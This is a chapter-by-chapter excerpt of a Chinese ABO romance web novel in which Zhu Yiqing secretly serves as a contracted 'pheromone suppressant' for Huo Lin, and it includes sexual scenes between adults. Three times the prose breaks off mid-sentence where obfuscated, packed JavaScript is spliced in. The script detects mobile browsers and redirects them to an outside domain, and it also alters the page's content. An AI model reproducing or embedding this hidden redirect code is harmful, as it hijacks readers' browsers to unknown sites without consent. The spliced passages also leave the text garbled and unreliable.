《万人迷不当人体抑制剂后》 1. 自作多情 “你怎么在发抖?”一道声音漫不经心地问,“你害怕我?” 祝贻清被霍粼压在飘窗上,窗台逼仄,他无处可躲,只能由着霍粼在他的颈脖边嗅闻。 祝贻清被迫微微仰起头。 此时窗外艳阳高照,耀眼的阳光刺得他睁不开眼。 明明是在躲太阳,他难耐的表情落入霍粼眼中,却被解读出了另一番含义。 “眼睛都眯起来了,有这么舒服吗?”霍粼恶趣味地在他的腰上掐了一把,“这不对吧,怎么变成我伺候你了?” 祝贻清的腰侧本来就敏感,猝不及防被人掐了一下,他顿时忍不住哼出了声。 他的脸上霎时浮上一层薄红,下意识想用手臂遮住自己的脸。 霍粼一眼就看穿了他的意图,眼疾手快地按住了祝贻清的手腕:“挡什么?不好意思了?” 祝贻清偏过头去,绷着嗓子说:“我挡太阳。” “是吗?”霍粼像是没听见他的话,自顾自道,“你也会不好意思吗?真稀奇。跟霍家签联姻协议的时候也没见你不好意思。” 祝贻清在心里叹了口气。 他从没跟霍粼解释过,其实他跟霍家签的根本就不是联姻协议。 三年前,祝贻清的养母确诊绝症。 在他最需要钱的时候,霍夫人带着一纸协议找上了他。 霍夫人声称她的儿子霍粼患有信息素紊乱症,希望祝贻清能当霍粼的人体抑制剂。 双方利益互换,一拍即合,很快签订了协议。 默契的是,他们不约而同地对霍粼隐瞒了协议的具体内容。 以至于霍粼误以为祝贻清当年签的是联姻协议,并且对他们未来会结婚这件事深信不疑。 “你在想什么?”霍粼的质问将祝贻清拉回现实。 “没什么。”祝贻清回过神来,随口敷衍道。 他伸手拉上一半的窗帘,遮挡住刺眼的阳光后,终于能够轻松地睁开眼睛。 霍粼觉得祝贻清在撒谎,不满地在他耳朵的软肉上咬了一口。 有点疼,但祝贻清忍着没出声。 等霍粼的情绪发泄完了,他才伸手抓住霍粼的衣领尖,轻声问:“能不能释放一点信息素给我?一点点就好了。” 医生说过,平时要多引导霍粼去控制信息素的释放量,这样有助于他的病症恢复。 所以祝贻清经常会找alpha要信息素,有时要得多,有时要得少。 霍粼眉头微蹙:“我没那么小气。” 他别扭地想,祝贻清应该很喜欢他吧,不然也不会连信息素都不敢多要。 既然祝贻清不敢要,那他就自觉地多给祝贻清一点信息素好了。毕竟他也没那么坏,偶尔给omega一点甜头尝尝也不是不行。 他的确是这么想的,结果释放时一不小心没控制住,整间屋子瞬间便充满了柠檬金酒的气息。 浓度极高。 祝贻清差点被霍粼的信息素醺醉了。 他晕乎乎的,小声埋怨道:“我没说要这么多。” “你说什么?”霍粼没听清,还以为祝贻清在谢谢他,得意道,“我很大方吧。” 祝贻清垂下眼,敢怒不敢言:“…………” “闻闻你的。”霍粼怂恿他,“我都这么大方了,你也不要太小气了。” “不要。”祝贻清皱着眉拒绝了,“说好了只要一点点,结果呢?你的信息素实在太多了,我的味道很淡,就算放出来了你也闻不到。” “什么意思?我给你信息素还成我的错了?”霍粼的音量拔高了些,“不是你先找我要的信息素吗?你敢说你不想要吗?” “可是我只要了一点点。”祝贻清试图跟他讲道理,“如果你能少放一点信息素就好了。” “所以都怪我自作多情了,是不是?”霍粼小发雷霆,“你是不是很喜欢让我不高兴?” 祝贻清观察着他的脸色,担心他真的生气,连忙否认:“不是的。” 霍粼不置可否,他不再看祝贻清,也不再回答,转身就朝房间门外走去。 祝贻清缓慢地撑起上半身,一时之间把霍粼的背影幻视成了一只大金毛。 被惹毛了,于是毛茸茸地走开了。 秉持着“在治好霍粼之前,不能跟霍粼产生矛盾”的原则,祝贻清立刻跟了上去,尾随在他身后,像条吵闹的小狗尾巴。 “霍粼,我错了。” 我没觉得我哪儿错了。 “谢谢你给我信息素。” 谢谢你,我被醺得像是喝高了。 “我没觉得你是在自作多情。” 我说实话你又不爱听。 “是我刚才说错话了。” 其实我已经很收敛了。 祝贻清感觉自己的左右脑在打架,一半在哄霍粼,另一半在哄着自己去哄霍粼。 不过没关系。 招不在多,好用就行。 霍粼果然停下了脚步。 祝贻清还在想下一句应该怎么哄呢,没注意到霍粼已经站住了,直接一头撞在了霍粼背上。 “你为什么急刹车?”祝贻清怕霍粼嘲笑自己,干脆先发制人道,“我的鼻子好疼……” 霍粼好几次欲言又止。 他内心犹豫再三,开口:“你……” “叮咚——” 门铃蓦然响了。 霍粼再次闭嘴。 祝贻清看得想笑。 但他又不敢真的笑出来,只能憋着。 他们还在二楼站着,楼下的佣人已经把客人迎进屋了。 有人上楼来向霍粼汇报:“是霍夫人过来了,夫人已经在楼下等您了。” “我知道了。”霍粼抬脚朝楼下走去。 顺着楼梯下行时,他的目光落在一楼大厅,恰好撞上了霍夫人的视线。 “妈,你今天怎么过来了?” “过来看看你,不可以?”霍夫人嘴上这么说,视线却已经越过霍粼本人,停在了他身后的祝贻清身上,“你们两个怎么是一起下来的?刚才在干什么呢?” 霍粼说:“在吵架。” 说完,他回过头想看看祝贻清是什么反应。 然而发现祝贻清毫无反应。 霍粼对此不太满意。 “吵架?”霍夫人半信半疑。她从容地与霍粼擦肩而过,来到了祝贻清身边,“贻清,我们聊两句,方便吗?” 祝贻清面不改色道:“方便的。” 霍夫人笑了笑,挽着祝贻清的小臂去了一楼大阳台,末了还不忘把阳台的玻璃门关上,杜绝了霍粼偷听的可能性。 “你们吵架了?”霍夫人的笑容淡下来,脸上再也看不出刚才和蔼的模样,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896596|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么回事?” “没有吵架。”祝贻清否认道,“我只是想让他试着控制自己的信息素用量。” 霍夫人追问:“这次成功了吗?” 祝贻清如实道:“失败了。” “意料之中。”霍夫人面色平静道,“毕竟你跟他的契合度只有99%……我前几天问过医生了,99%的契合度想要完全治愈信息素紊乱症,至少需要五年时间,如果是百分百契合度,就只要三年。” “您的意思是……” “你抓紧时间吧,跟霍粼起冲突只会延缓治疗进度,对你没有任何好处。”霍夫人提醒他,“我之前找你签协议,是因为没找到跟他百分百契合的人。” “不瞒你说,时至今日我依然在找,如果哪天我找到了,就不需要你再为他治疗了。至于我们之间的协议……自然就不了了之了。” “你会努力治好霍粼的,对不对?”霍夫人看向他,暗示道,“你的养母可就指望你一个人呢。” 祝贻清处变不惊,干脆用她的原话回复她:“霍家也会努力治好我养母的,对不对?毕竟现在的霍粼也只能指望我一个人。” “…………”霍夫人抿了抿唇,不甘示弱,“话虽如此,不过你也别忘了另一件事。” “你放心。”祝贻清向她保证,“我不会他动真感情,等协议结束了我会马上离开。希望到时候你们可以确保我的自由,不要让他纠缠我。” “这你就想多了。”霍夫人怜爱地摸摸祝贻清的头,“我了解霍粼,他非常自我,绝对不会喜欢一个人喜欢到这种地步。” 霍夫人跟他聊完,没有多留。 送走霍夫人后,霍粼问祝贻清:“你们刚才聊什么了?” “聊的都是你。”祝贻清掺着假话说真话,“阿姨问我是不是跟你闹矛盾了,让我们不要总是吵架,要和谐相处。” “原来是这样。”霍粼拿他开玩笑,“你说,如果我们经常吵架的话,被霍家老宅那边知道了,他们会不会取消协议,让你离开霍家啊?” 短短几句话,听得祝贻清后背发凉。 “……应该会。” “这样啊。”霍粼恶劣地追问道,“那你就不怕我故意跟老宅那边说我们经常吵架吗?到时候我们就不用联姻了。” “不可以!” 霍粼挑眉。 “霍粼。”祝贻清郑重地喊他的名字,“你以后能不能不要随便说我们吵架了?” “嗯?” “我们明明就没有吵架。”祝贻清软下嗓子,“不要说谎好不好?求求你了。” 霍粼被祝贻清直白的话语打了个措手不及,以至于他突然懵了。 他没想到祝贻清居然这么害怕跟他分开,一时不知道该说什么才好。他愣愣地问:“你很不想取消协议吗?” 祝贻清认真地说:“很不想。” 就算把治好霍粼当成一份工作,为了背后丰厚的利益,他也绝对不能失去这份工作。 霍粼听见omega坚定的语气,怔了好几秒。 祝贻清说不想取消联姻协议。 这不就意味着祝贻清想跟他结婚吗? 而且对他坚定不移、非他不可。 霍粼的心跳不自主地加速,到最后脑子里只剩下了一个念头—— 天呐。 祝贻清真的好喜欢我! 2. 又勾引我 虽然祝贻清已经和霍粼相处了三年,但他有时候还是摸不清霍粼的想法。 比如现在,他就摸不清霍粼在想什么。 alpha嘴角含着笑,好像碰上了什么非常令人高兴的事情。 他表情愉悦地伸出手,揉了揉祝贻清的发顶。 祝贻清后退两步,迅速整理好自己被揉乱的发丝:“你干什么?” “你不给我信息素就算了,现在连碰都不能碰了吗?”霍粼很不喜欢他的反应,“什么意思?你用完就丢?” 祝贻清:“……” 怎么把他说得那么十恶不赦。 “而且你还躲着我。”霍粼想不明白,“我都看见了,你往后退了两步。”他脑海中灵光一闪,“你是不是害羞了?” 喜欢他,所以在他靠近的时候往后逃。 这不就是害羞的反应吗? 还好他聪明,这都解读出来了。 祝贻清难以理解他的脑回路:“我怎么可能害羞。” “这样都不算害羞吗?”霍粼疑惑,“那什么样才算害羞?” 祝贻清问他:“你想知道?” 霍粼求知心切:“想。” 祝贻清壮起胆子,冒着被霍粼赶出去的风险,连续向前几步。 他抓住霍粼的衣领,踮起脚尖,毫不犹豫地吻了上去。 唇瓣相贴,独属于omega的气息一并拂了过来。霍粼的大脑瞬间一片空白,下意识地闭上了眼。 祝贻清没闭眼,他吻着霍粼时,感受到霍粼的身体在颤栗。 他趁着松开喘气的片刻机会,视线向下垂落,又瞥见了霍粼已经羞红的脸。他的手抚上霍粼的脸,再一次吻上去。 掌心传来一片燥热感,祝贻清意识到霍粼的脸已经红得发热、热得发烫。 祝贻清试着去撬开霍粼的唇关。 霍粼这时候终于反应过来了,他的手自然而然地搂住祝贻清的腰,将祝贻清抵在最近的墙上,主动加深这个吻。 两人纠缠了好一会儿,分开时彼此的眼神都暧昧不明。 祝贻清看着霍粼,轻声道:“像你这样才算害羞了。” 霍粼红着脸反驳:“谁告诉你我害羞了?” 祝贻清不答反问:“我亲起来舒服吗?” 霍粼:“……什么?” “我亲起来舒服吗?” 霍粼的耳朵尖红得滴血:“你别在这里转移话题。” “你喜欢吗?” “你不要再说了!”霍粼听得面红耳赤,制止道,“你再说我就跟你解除协议了。” “那我不说了。”祝贻清遗憾地垂下眼,“我真的不说了,你别跟我解除协议。” 他本来还想继续逗逗霍粼的,没想到霍粼居然这么玩不起。 好没意思。 霍粼看见祝贻清长长的睫毛像蝴蝶翅膀似的扇动了一下,随后露出无比失落的眼神。 他的心剧烈地跳动了一下。 霍粼简直受不了了,他深吸一口气:“你别勾引我。” 祝贻清睁大眼睛,茫然地看向他:“?” 谁勾引你了? “……你又勾引我。” 祝贻清:“。” “明天你下班之后我去接你。”霍粼才不会告诉他自己忍得难受,“明天晚上我们做一次信息素疏导吧。” 祝贻清的脸上浮出几分玩味。 霍粼催促他:“你听见没有?” “听见啦,你要来接我。”祝贻清笑起来,骗人不眨眼,“喜欢您来!” - 翌日,祝贻清早早去了烘焙坊,开始做蛋糕。 他的合伙人今天有事来不了,所有的事情都要他一个人做。 一整天下来,祝贻清已经精疲力尽。 夜晚九点十分,临近烘焙坊的闭店时间,他开始收拾后厨的东西。 “欢迎光临~” 门口的自动门铃声忽然响起,祝贻清下意识抬起头,对客人露出标准微笑:“您好。” 看清来人的长相后,他的笑脸有点挂不住了,嘴角的弧度慢慢地垮了下去:“沈阅音?怎么是你?” 沈阅音看他翻脸比翻书快,忍不住问:“你去学川剧了?” 哪来的超级变脸王。 “讨厌您来,很不高兴为您服务。”祝贻清略过他的问题,“请问有什么不需要帮您?” 沈阅音的表情僵了僵。 “我要一个薯角培根面包,一牛肉芝士可颂,两个树莓乳酪司康。” “本店自助选购。”祝贻清给他指了一个方向,“那边有盘子和面包夹,你挑完一起拿给我结账就好。” “不行,我不要外面摆出来的的,摆了一天都不新鲜了。”沈阅音站着没动,对着祝贻清颐指气使道,“你现在去给我做新的。” 祝贻清无语到极致,有点想笑。 昨天有霍夫人莅临视察,今天有沈阅音故意挑刺。好奇怪,怎么每天都有芝麻粒大小的事情从天而降? 他是烧饼吗? 那很美味了。 “你真的很奇怪。”祝贻清站在原地没有挪动,“你喜欢霍粼,不花时间去找他培养感情,整天到我面前来刷什么存在感?总不能是对我因恨生爱了吧?” 沈阅音像是被他的话恶心坏了,眉头迅速皱成一团:“你在说什么?祝贻清,你干的是服务行业,我是你的顾客,你怎么能这么说话?” “不好意思。”反正道歉又不值钱,祝贻清表面上退了一步,“你确定需要我现做吗?” “确定。”沈阅音点头,还装模作样地问了句,“你不为难吧?” “当然不。”祝贻清露出假笑,“后厨这边给您安排过期培根和僵尸牛肉,您不为难吧?看在我们是熟人的份上,加量不加价。” 沈阅音:“?” 他只是想来隔应一下祝贻清。 没想到祝贻清直接对他动了杀心,想把他原地送走。 祝贻清像是猜到了他的想法:“您放心,零天然纯添加,不会出事的。” 沈阅音攥紧拳头:“…………” 沈阅音毫无杀伤力地威胁他:“祝贻清!我要打市场监督局的电话举报你!” 祝贻清给了他一个鼓励的眼神:“举报吧。” 反正他刚才说的那些话句句不属实。 “你……”沈阅音被他噎得说不出话。 祝贻清抬眼,正面对上他的视线:“还有什么事吗?” 空气安静片刻。 “你根本就配不上霍粼。”沈阅音率先开口,他的声音不大,恰好够他们两个人听到,“要论门当户对,我跟他才是最合适的。” “你说得对。”祝贻清从收银台后面走出来,与沈阅音擦肩而过时,他稍微放慢了脚步,“我最后再跟你说一次,你不用把我当成假想敌,因为我迟早会跟他分开,到时候你想和他在一起,绝对没人拦着你。” “迟早迟早,你跟我说了几次迟早了?”沈阅音幽怨地问道,“这都三年了,你口中的迟早到底是什么时候?” 祝贻清把沈阅音控诉自己的声音当做背景音,手上熟练地拿起橱窗旁的托盘,按照沈阅音一开始的要求,精准取出了他需要的几款面包。 “具体时间我也说不准。”祝贻清将托盘端回收银台面,一边打包面包,一边回答道,“但是我向你保证,我跟他绝对没有以后。你要是非他不可的话,就麻烦你再等等吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896597|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等霍粼的信息素紊乱症痊愈的那天,他自由了,沈阅音也能得偿所愿。 祝贻清顺手给沈阅音打包了一盒店里的毛巾卷切剩的边角料,一起放进了袋子里:“送你一点毛巾卷尝尝。” 沈阅音很有礼貌地说:“谢谢。” “不客气。” 反正边角料丢了也怪可惜的,有人愿意吃掉正好。虽然沈阅音可能根本不知道他送的是边角料。 “给,你要的面包。”祝贻清将纸袋递给沈阅音,“一共116,这边扫码支付,我扫你。” “真希望你这次没骗我。” 沈阅音低声呢喃一句,也没有再强求祝贻清给他现做面包。他付完款,双手接过纸袋,转身就要离开。 “等一下。”祝贻清出声叫住他,“你不再等一会儿吗?” “怎么了?” “现在已经晚上九点二十了。”祝贻清好心告诉他,“我九点四十关店,霍粼今天会过来接我。你只要再等二十分钟,就可以跟他见一面。” 沈阅音问:“你是在炫耀霍粼要来接你吗?” 祝贻清讶异地说:“当然不是。” “我不需要你的好心。”沈阅音沉声道,“我不见他,你也不要告诉他我来找过你。” 他说完,急匆匆地跑出了店门,似乎生怕跟霍粼正面碰上。 祝贻清猜测,沈阅音大概是怕遇见了霍粼解释不清吧。 毕竟沈阅音想在霍粼面前维持单纯美好的人设,所以他不想让霍粼知道他一直频繁地来烘培坊找自己,倒也合理。 祝贻清没有过多在意,沈阅音和霍粼见面与否,都不是值得他担心的问题。 他收拾完后厨,又打包了几块波士顿奶油派,打算待会儿拿给霍粼吃掉。 霍粼很快就来了。 alpha看见祝贻清手中的纸袋,问:“你给自己打包了宵夜?” “是给你带的。”祝贻清将纸袋递给他,“谢谢你今天来接我,你尝尝看。” 霍粼瞥了一眼纸袋,没伸手去接:“我不吃。” “你不喜欢波士顿派吗?那你喜欢毛巾卷吗?”毛巾卷的边角料是店里剩得最多的,但祝贻清舍不得丢掉那么多,只能出此下策,向霍粼推销,“我们店里有芒果毛巾卷、车厘子毛巾卷、奥利奥可可毛巾卷、海盐蓝奶油毛巾卷……” 霍粼被他念得头晕:“没有不喜欢,只是觉得应该留给你吃。” 祝贻清问:“为什么?” “因为你上次陪我治疗到一半,突然说你胃痛。谁知道你今天是不是又没吃饭。”霍粼翻他的旧账,“你的身体状况会直接影响到我的治疗,我不希望再出现意外情况。” 祝贻清抱歉地承诺:“……对不起,以后不会了。” “不会最好。”霍粼的声音低了些,“对了,我给你买了一条新裙子,你今晚回去穿给我看。” 祝贻清瞳孔微缩:“你怎么又……” 霍粼的声音传到他耳朵里,像恶魔在低语:“你要是不穿的话,我就取消我们的联姻协议。” “……但是话又说回来,”祝贻清不得不向他妥协,“我其实没有不愿意。” 霍粼偷偷瞄了一眼祝贻清,心情肉眼可见地变好了。 他就知道祝贻清不会拒绝他。 祝贻清不清楚霍粼又在莫名其妙地高兴什么,也不清楚霍粼为什么要瞄他一眼。 可能是眼睛不舒服吧。 他懒得再花心思去猜了。 祝贻清疲惫地偏头望向车窗外,他回忆起这两天发生的事情,总觉得自己被夹在所有人中间,在哪边都不像人。 唉…… 人生一波三折。 好便宜。 3. 你好娇气 祝贻清对霍粼买给他的裙子做了一定的心理准备。 可惜准备得还不够。 回到家之后,霍粼把裙子拿给了祝贻清。在看见裙子的那一刻,祝贻清本就不坚实的心理防线在顷刻间崩坍。 不是别的原因,而是这条裙子的布料实在太少,不像衣物,像是被伪装起来的情趣用品。 祝贻清抱着最后一丝希望问霍粼:“非穿不可吗?” “你不是已经答应我了吗?怎么,反悔了?”霍粼有恃无恐地将裙子递给祝贻清,“只是让你穿给我看而已,你要是不愿意的话,我只能选择取消我们的协议了。” “……没有。”祝贻清接过纱裙,硬着头皮道,“没有不愿意。” “那就好。”祝贻清的反应完全在霍粼的意料之中,他对此很满足,“你先去洗澡吧,洗完澡就在卧室里等我,我会过去找你。” “好。” 霍粼勾起嘴角,视线赤裸裸地落在祝贻清手中的衣物上:“别忘了穿。” “……我知道。” “也别忘了把你带回来的面包吃掉。” 祝贻清意外地抬起头,没想到霍粼这个时候还有空关心他:“你真的不吃吗?” “谁会胃痛谁吃。”霍粼说,“反正不是我。” 祝贻清应了一声,捧着轻薄的一片布料回了自己的卧室。 他跟霍粼生活的这三年,彼此之间还算是有分寸感。至少霍粼给了他一个宽敞的房间,让他有了自己的独立空间。 平日里除去发情期、易感期,以及需要引导霍粼控制信息素的特殊日子,他们都是各睡各的房间。 至于特殊时期,霍粼会抱着他去别墅顶层的专用卧室。每当祝贻清发现霍粼正抱着他往顶层走时,就知道他们离上床不远了。 这是他们之间无需言明的默契。 祝贻清回到自己的房间,心不在焉地洗完澡,随后拿起架子上的裙子,默默打量起来。 需要系在肩膀上的吊带细到好似随手一扯就会轻易崩断,裙身洁白,点缀着细小的珍珠和纯白的蕾丝。再向下,裙摆处是三层白纱堆叠,裙长极短,估计连正常成年人的大腿都无法完全遮盖。 更过分的是裙子背后是露背设计,完全没有遮挡,仅有几条交错的粉色细缎带。 霍粼刚把这条裙子拿出来的时候,祝贻清乍一看,心下涌出源源不断的羞耻感。 现在仔细一看,还不如乍一看。 浴室的镜子蒙了水汽,祝贻清穿好后,用手掌在镜子上擦出一个小圆形,粗略地对着不甚清晰的镜子照了一下。 裙子收腰,勾勒出他腰身恰到好处的曲线,薄纱半遮着他的大腿,大有欲盖弥彰之意。后背更是难以言喻。 他实在不敢再看下去,逃也似的离开了浴室。 他在床边坐下,吃了一块打包回家的波士顿派,没过多久就被屋内的空调吹得浑身发冷。他只好暂时钻进被窝,安安静静地望着门口,等霍粼来找他。 祝贻清计算着时间,觉得有点反常,霍粼居然还没有过来找他。 总不可能还没有洗完澡吧。 霍粼当然洗完澡了。 但他没有选择第一时间就去祝贻清的房间,而是选择拉开床头柜,从里面取出了一本空白的笔记本。 他翻开第一页,在最上方写下一行字:满分履行协议,0分取消协议。 为了公平起见,基础分就按50分算吧。 霍粼回忆了一下今天。 祝贻清给他打包了面包,虽然最后是祝贻清自己吃掉了,但还是+1分吧。 祝贻清穿裙子给他看,+1。 50+1+1=52。 一共52分。 差不多得了,就这样吧,不能一次性给太多了,在这方面他倒也没有这么大方。 霍粼收好本子,快步朝祝贻清的卧室走去。 祝贻清的卧室门紧闭着,霍粼敲了敲门,听见祝贻清说了声“进”。 但他假装没听见,继续敲门。 卧室里的祝贻清宁愿怀疑是自己的声音太小了,也没有怀疑霍粼是故意的。 他赤着脚跑到门边,空调吹出的凉气打在他的肌肤上,他很难不想起来自己现在的衣着。 祝贻清的手握着门把手,一时没了把门打开的勇气。 门外的霍粼听见了祝贻清走到门边的脚步声,却迟迟不见他开门,只好再次用指节叩了叩门:“祝贻清?” 祝贻清进退维谷。 “开门。” “……” “我知道你听见了。” 卧室门打开,霍粼看见祝贻清的第一眼,脑子里所有的形容词都被自动消失了,只剩下一个字—— 白。 好白。 太白了。 以至于omega胸口上的小痣被肤色衬得那么扎眼,叫人无法忽略。 像是迫不及待地想让他吻上去似的。 霍粼无意识地咽了下口水。 他伸手环住祝贻清的腰,低下头,真的去了吻那颗痣。片刻后,他又仰起脖子,用舌尖去舔祝贻清的耳廓。 他们离得那么近,间隙仅剩毫厘,好似暧昧交颈的天鹅。 霍粼低声道:“其实我都听见了。” 祝贻清没能反应过来:“什么?” “但我假装没听见,故意让你来给我开门。” 祝贻清这下听明白了,他问:“……为什么?” 霍粼笑起来:“还能是为什么?”他的手握住祝贻清的腰,没注意自己加大了力道,“想看看你穿没穿裙子。” “我穿了……但是以后可以不要再买这种材质的衣服吗?”祝贻清为难道,“下摆的纱穿起来有点不舒服。” 霍粼看了一眼omega的大腿,居然已经被白纱磨得粉红,他难以置信,以至于大脑居然空白了一刻:“……你好娇气。” 他仔细想了想,认为自己这话没讲错。 祝贻清就是很娇气,换季也生病、降温也生病、稍微吃错点东西就会无前兆地胃疼、稍微用点力就能在他身上留下难以消散的红痕。 祝贻清也没得辩驳,只能垂下眼,盲目地去亲吻霍粼的脸侧:“想你的信息素了。” 霍粼听见这话,还没来得及去控制,他的信息素已经兴奋起来,随后不可自控地溢了出来。 “你怎么知道我只想要一点点?”祝贻清的手从他的发顶轻柔地抚到下颌,“你今天好听话。” “你……”霍粼想反驳,但他实在割舍不掉祝贻清的手在他脸颊上抚摸的快感。 omega虽然没有向他释放信息素,但他依旧觉得omega连带着白嫩的指尖都带着香味。 尽管霍粼不想承认,但他内心深处由衷地担心,假如他没控制好自己的信息素,祝贻清是不是会对他失望,不再继续摸他的头了? 因此他咬着牙,努力控制自己的信息素。 霍粼成功控制了五分钟,最后还是没忍住释放出了大量信息素。 祝贻清没有退开,反倒是拥抱住了他,轻声道:“又进步了一点,你现在可以控制一会儿信息素了是不是?你好厉害啊。” 霍粼发现自己的嘴角翘了起来,于是赶紧强迫自己压了下去。 alpha不能这么没出息,不能因为omega的一句夸奖就开始摇尾巴。 他又不是祝贻清的小狗。 挑战他的耐力似的,祝贻清偏偏在这个时候释放了一些信息素。 霍粼忍无可忍,他抱起祝贻清,朝屋内的大床摔去。 如山峦层叠起伏。 在一场大汗淋漓后,霍粼停了下来。 他剥开面前洁白的蕾丝布料,露出白皙上的一点粉色茱萸,随后俯下身,去听祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896598|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贻清的心跳。 他听清了,祝贻清的心跳得很快。 虽然他们是协议联姻,但霍粼始终相信祝贻清是有一点爱他的,毕竟一个人的心跳不会说谎话。 心脏跳动的简称不就是“心动”吗? 霍粼想,如果和一个完全没有感情的人亲热,祝贻清不可能是这个反应,应该心如死灰才对。 所以祝贻清一定对他心动吧。 祝贻清见他的脑袋紧贴在自己的胸口,半天都没有再动一下,忍不住伸手去抓他的头发,哑声问:“霍粼,你在干什么?” 霍粼没回答,而是顺势抬起头来,用极小的音量问道:“你是不是很喜欢我啊?” 所以才会三年如一日地哄着他、听他的话、对他百依百顺。 他的声音轻到祝贻清差点听不到,一句话像一阵风似的飘过去了,谁来了都能对此装聋作哑。 但祝贻清还是选择轻声回答他:“对啊,我就是很喜欢你。” 哪怕只是欺骗他。 无所谓,说句好话哄他也没关系,就当作是对霍粼今晚成功控制了一次信息素的奖励吧。 话音刚落,霍粼的信息素就控制不住地漫溢开来。 祝贻清:“……” 后悔了,奖励给早了。 霍粼从祝贻清的胸口蹭到的颈窝,在他后颈的腺体上嗅闻了好半天,最后将祝贻清揽进了怀里。 “可是我不喜欢年纪比我大的omega。”霍粼贴在祝贻清耳边,与他耳鬓厮磨,他故意问,“怎么办?” 祝贻清也不知道要怎么办。 因为他从不觉得自己跟霍粼有未来。 霍粼借着微弱的床头灯,发现祝贻清的眼神放空着,没有聚焦,似乎根本就没有在思考他提出的问题。 他有些恼了,抱着祝贻清又折腾了一次。这一次他怀着不满的心思,动作力度比之前都更大。 祝贻清像一只舟,在下着暴雨的海洋上飘摇。 做到最后,他的意识几乎已经模糊。 霍粼趁人之危,继续问他:“你对我是喜欢多一点,还是爱多一点?” “……”祝贻清倦怠地问,“你觉得是什么?” 霍粼飞快地回答:“我猜是爱吧。” 祝贻清又累又困,没有精力跟霍粼探讨这么深刻的问题,他只想闭上眼睛睡过去。霍粼却不让他安睡,翘首以盼地等着他回话。 alpha的眼神太灼热,柠檬金酒的味道再次四散,紧密地包裹住祝贻清,几乎要让他溺毙。 祝贻清敷衍道:“那就爱吧。” 他此刻困得要命,半梦半醒,因为霍粼的问询,他没办法真的放松下去。 祝贻清的脑袋昏昏沉沉的,有点难受,他无意识地在霍粼的怀里蹭了下:“抱抱。” “不许转移话题,谁要抱你?我都说了我不喜欢……”霍粼忽地噤声了。 就这么两句话的时间,祝贻清好像已经在他怀里睡着了。 霍粼不再出声,也不再逼着他回答,甚至也没有推开他。 霍粼抱着祝贻清去浴室清理了一通,最后将人安稳地放在床上。 他一转身,祝贻清的食指竟意外勾住了他的衣角。 又或者说,是不是意外都不重要了。 霍粼的心软得一塌糊涂,他从床头柜里拿出本子和笔,放弃了连笔字,而是一笔一划地在上面写:说爱我,+1。 不对,这件事大概能值2分。 那就+2吧。 祝贻清现在已经有54分了。 离满分更近一点,离零分更远一点。 霍粼放好本子,轻手轻脚地从床的另一侧爬上床,抱紧了祝贻清。 真不是他有多想抱。 只是祝贻清刚才都向他撒娇了。 祝贻清不就是想要抱抱吗? 满足他又怎样。 4. 恼羞成怒 “叮——” 床头的手机闹钟响了。 祝贻清被扰得心烦意乱,熟练地伸手按掉了闹钟。他翻了个身,重新用被子把自己的全身包裹起来。 他感觉自己才刚刚闭上眼睛,闹钟又好死不死地响了起来。 祝贻清用被子捂住耳朵,不愿意面对现实。 此时,一只手越过他的身体,拿起他的手机,彻底关闭了闹钟。 “今天周六,你还要去店里吗?”霍粼隔着被子,安抚性地拍了拍祝贻清,不轻不重,像是在催眠,“要不要再睡一会儿?” 隔了好一会儿,祝贻清才迷迷糊糊地回答:“今天要去的。” 他是自己开店,自然没有双休的说法。 霍粼继续问道:“那我帮你跟林周说一声,就说你有点不舒服,今天晚点过去,可以吗?” 林周是跟祝贻清一起经营烘焙店的omega,两个人已经认识了近乎十年,彼此之间没什么不好开口的事。 祝贻清“嗯”了一声,又安静了下去。 霍粼替他给林周发了条消息,随后抬起头,正视起屋内的一片狼藉。 昨晚他光想着把祝贻清洗干净,忘记把衣服收拾好了。 霍粼单方面通知祝贻清:“等我收拾好再来叫你起床吧。” 困得要命的祝贻清拒收了通知。 霍粼弯腰捡起落在地上的衣物,站起身时,余光瞥见了床尾处的一小块白色布料。 他不知道那是什么,直接伸手去拿,到手才发现这块布料是三角形的,触感柔软,边缘还点缀着纯白蕾丝边。 毫无疑问,这是祝贻清昨晚脱下来的内裤。 霍粼突然觉得大脑发热,连带着觉得手中的布料也格外烫手。 他心乱地握着,拇指和食指揉捻了一下布料表层,尔后鬼使神差朝omega的方向望了一眼,像是做贼心虚了。 霍粼的呼吸急促起来,他收回目光,打量了手里的白色内裤几秒,中了邪似的低下头,克制不住地嗅了嗅。 香的…… 霍粼的喉结滚动了一下,意识到自己干了什么之后,他在心里暗骂自己有病。 不过幸好。 幸好祝贻清没睡醒,幸好祝贻清没看到,不然他简直无法解释自己一反常态的行为。 “霍粼。” 短短两个字,吓得霍粼一瞬间攥紧了手里那块不大的布料,掩耳盗铃地朝身后藏。 